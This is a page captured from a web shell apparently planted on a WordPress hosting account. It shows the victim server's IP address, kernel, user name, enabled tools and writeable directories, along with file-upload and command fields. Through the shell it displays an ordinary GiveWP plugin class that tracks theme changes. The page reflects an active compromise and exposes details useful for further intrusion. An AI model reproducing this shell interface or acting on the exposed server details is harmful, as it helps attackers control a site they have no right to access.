Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.220.255.227
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/Tracking/Events/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/Tracking/Events/ThemeTracking.php
<?php

namespace Give\Tracking\Events;

use Give\Tracking\Contracts\TrackEvent;
use Give\Tracking\Enum\EventType;
use Give\Tracking\TrackingData\ThemeData;
use Give\Tracking\TrackRegisterer;
use Give\Traits\HasWpTheme;
use WP_Upgrader;

/**
 * Class ThemeTracking
 *
 * This class setup event to send tracked data request when active theme changes.
 *
 * @package Give\Tracking\Admin\Events
 * @since 2.10.0
 */
class ThemeTracking extends TrackEvent
{
    use HasWpTheme;

    /**
     * @var string
     */
    protected $dataClassName = ThemeData::class;

    /**
     * GivePluginSettingsTracking constructor.
     *
     * @param TrackRegisterer $track
     */
    public function __construct(TrackRegisterer $track)
    {
        $this->eventType = new EventType(EventType::THEME_SWITCHED);
        parent::__construct($track);
    }

    /**
     * Theme update tracking handler.
     *
     * @since 2.10.0
     *
     * @param bool|WP_Upgrader $upgrader
     * @param array            $data
     */
    public function themeUpdateTrackingHandler($upgrader = false, $data = [])
    {
        // Return if it's not a WordPress core update.
        if ( ! $upgrader || ! isset($data['type']) || 'theme' !== $data['type']) {
            return;
        }

        foreach ($data['themes'] as $theme) {
            if (get_stylesheet() === $theme || get_template() === $theme || $this->isParentTheme($theme)) {
                $this->trackId = new EventType(EventType::THEME_UPDATED);
                $this->record();
            }
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit